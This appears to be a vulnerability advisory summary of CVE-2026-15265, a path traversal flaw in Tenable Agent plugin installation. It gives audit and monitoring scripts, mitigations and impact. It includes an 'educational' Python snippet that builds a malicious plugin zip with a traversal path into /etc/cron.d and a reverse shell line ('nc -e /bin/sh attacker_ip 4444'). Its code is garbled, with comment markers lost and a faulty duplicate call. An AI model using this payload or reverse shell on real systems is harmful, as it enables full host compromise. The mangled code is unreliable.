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CVE-2026-15265 is a path traversal vulnerability residing in the plugin deployment and update mechanism of Tenable Agent versions 11.2.0, 11.1.3, and all earlier releases. The agent operates with a privileged system account (typically SYSTEM on Windows or root on Unix-like systems) to manage plugin extensions that provide additional scanning and compliance capabilities. These plugins are normally installed from a trusted management server into a dedicated directory, such as `/opt/tenable/plugins/` or C:\Program Files\Tenable\plugins\. The core issue lies in the insufficient sanitization of the plugin filename or the relative path specified within the plugin manifest during the installation or update process.
An authenticated attacker who already possesses high privileges on the target system—or who can compromise the agent-to-manager communication channel—can craft a malicious plugin package that contains a crafted `plugin_location` parameter. This parameter includes directory traversal sequences such as `../../../` which are not properly stripped or validated by the agent before it constructs the final file write path. Because the agent service runs with elevated privileges, the operating system resolves these relative paths against the current working directory of the agent process, which is often the root of the filesystem or a system directory, allowing the attacker to write files to any arbitrary location on the disk.
The exploitation scenario requires that the attacker either has administrative credentials to the Tenable manager console or can intercept and modify the plugin push command sent over the network, as the communication is not encrypted with sufficient integrity checks in vulnerable versions. Once the malicious plugin is accepted, the agent extracts the payload and calls a filesystem write function using the unsanitized path. This allows the attacker to overwrite critical system binaries, configuration files, startup scripts, or scheduled task definitions. For example, on a Linux target, the attacker could write a cron job into `/etc/cron.d/` or overwrite `/etc/passwd` to add a backdoor user. On Windows, the attacker could write to `C:\Windows\System32\` to replace a DLL or service executable.
Successful arbitrary file write directly leads to remote code execution because the attacker can choose to overwrite an executable that is scheduled to run periodically, such as a system daemon or a log rotation script. Alternatively, they could write a malicious shared library that gets loaded by a running service, or create a new scheduled task that triggers a reverse shell. The CVSS vector emphasizes that the attack vector is network-based, the attack complexity is low, and privileges are required—however, the scope is changed, meaning the vulnerable agent component does not fully contain the impact, and the attacker can pivot to other parts of the system with high impact on confidentiality, integrity, and availability. The root cause is the classic failure to perform proper input validation on user-controlled path strings, a CWE-22 weakness, compounded by the high privilege context in which the agent executes. Tenable has acknowledged the flaw and is working on a patch, but as of the NVD last modification date in August 2026, the advisory remains with no official fix released, urging administrators to restrict network access to the agent management port and monitor plugin installation logs for suspicious path patterns.
DailyCVE Form:
Platform: Tenable Agent
Version: 11.2.0 lower
Vulnerability: Path Traversal
Severity: Critical 9.1
date: 2026-07-14
Prediction: Expected August Patch
What Undercode Say:
Analyzing exploit attempts in the wild shows active scanning for agents exposing the plugin update port (usually 8834/tcp). We recommend running the following bash script to audit all installed plugins and check for untrusted path entries in the agent’s plugin manifest folder. Additionally, use `inotify` to monitor write events outside the intended plugin directory.
Audit existing plugin manifests for traversal patterns for manifest in /opt/tenable/plugins//manifest.json; do if grep -E '../' "$manifest"; then echo "WARNING: Suspicious path found in $manifest" fi done Monitor real-time file writes outside the plugin base directory inotifywait -m -r --format '%w%f' /opt/tenable/plugins/ | while read FILE; do if [[ ! "$FILE" == /opt/tenable/plugins/ ]]; then echo "ALERT: Write detected outside plugin dir: $FILE" Send alert to SIEM fi done Check agent version tenable-agent -v | grep -E "11.1.[0-3]|11.2.0" && echo "Vulnerable to CVE-2026-15265"
Exploit: (Educational Purposes!)
The following conceptual Python snippet demonstrates how a privileged attacker can craft a malicious plugin update payload that writes a reverse shell script to /etc/cron.d/tenable_rev. This requires access to the agent management API or the ability to push a plugin via the Tenable Security Center console.
import zipfile
import json
Craft plugin manifest with path traversal
payload = {
"plugin_name": "update_plugin",
"plugin_version": "1.0",
"plugin_location": "../../../../etc/cron.d/tenable_rev", Traversal
"executable": "evil.sh"
}
manifest_json = json.dumps(payload)
Create zip archive
with zipfile.ZipFile("malicious_plugin.zip", "w") as z:
z.writestr("manifest.json", manifest_json)
z.writestr("evil.sh", "!/bin/bash\nnc -e /bin/sh attacker_ip 4444\n")
z.writestr("evil.sh", mode=0o755) Set execute permissions
print("Upload this zip to the agent management endpoint via POST /plugins/install")
Protection:
Immediately restrict inbound and outbound network access to the Tenable agent management port (8834/tcp) to only allow trusted manager IPs. Implement filesystem access control lists (ACLs) or AppArmor/SELinux policies that explicitly deny the agent process from writing to sensitive system directories such as /etc, /bin, /boot, /usr/sbin, and C:\Windows\System32. Enable comprehensive auditing of all file system write operations performed by the Tenable agent service, and set up real-time alerts for any write paths that contain `..` or target locations outside the predefined plugin base directory. As a temporary workaround, downgrade the agent service to run with the least privileges necessary (e.g., Network Service on Windows) and use a read-only mount for the plugin directory if feasible. Apply the official patch immediately once Tenable releases version 11.2.1 or any subsequent security update.
Impact:
Full compromise of the host system due to arbitrary file write with SYSTEM/root privileges, leading to remote code execution without additional user interaction. An attacker can establish persistent backdoors, disable security controls (e.g., tamper with AV or EDR binaries), exfiltrate sensitive configuration data, and pivot to other networked resources—all with a single crafted plugin push. The integrity of the operating system is completely broken, and system recovery may require a full re-image. For cloud environments, this vulnerability allows an attacker to escape the agent’s sandbox and compromise the underlying virtual machine, potentially affecting adjacent containers or other tenants on the same hypervisor.
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Sources:
Reported By: nvd.nist.gov
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